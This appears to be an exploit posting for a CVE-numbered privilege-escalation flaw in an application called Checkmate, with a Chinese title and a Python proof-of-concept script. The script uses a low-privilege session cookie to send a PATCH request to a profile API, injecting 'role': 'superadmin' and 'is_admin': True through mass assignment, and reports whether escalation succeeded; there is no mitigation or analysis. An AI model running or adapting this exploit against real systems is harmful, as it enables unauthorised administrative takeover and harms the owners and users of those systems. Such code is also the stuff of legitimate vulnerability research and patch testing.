CVE-2026-31836 Checkmate权限提升漏洞

import requests # Target API endpoint for updating user profile target_url = "https://target-checkmate.com/api/v1/user/profile" # Attacker's session cookie (obtained after low-privilege login) attacker_cookies = { "session_id": "low_priv_user_session_token" } # Headers headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Malicious payload exploiting Mass Assignment # Adding 'role' parameter which should not be modifiable by users payload = { "username": "attacker", "email": "[email protected]", "role": "superadmin", # Vulnerability: Injecting admin role "is_admin": True # Alternative parameter injection } # Send the malicious request response = requests.patch(target_url, json=payload, headers=headers, cookies=attacker_cookies) if response.status_code == 200: print("[+] Privilege escalation successful! User is now superadmin.") else: print(f"[-] Failed. Status code: {response.status_code}") print(response.text)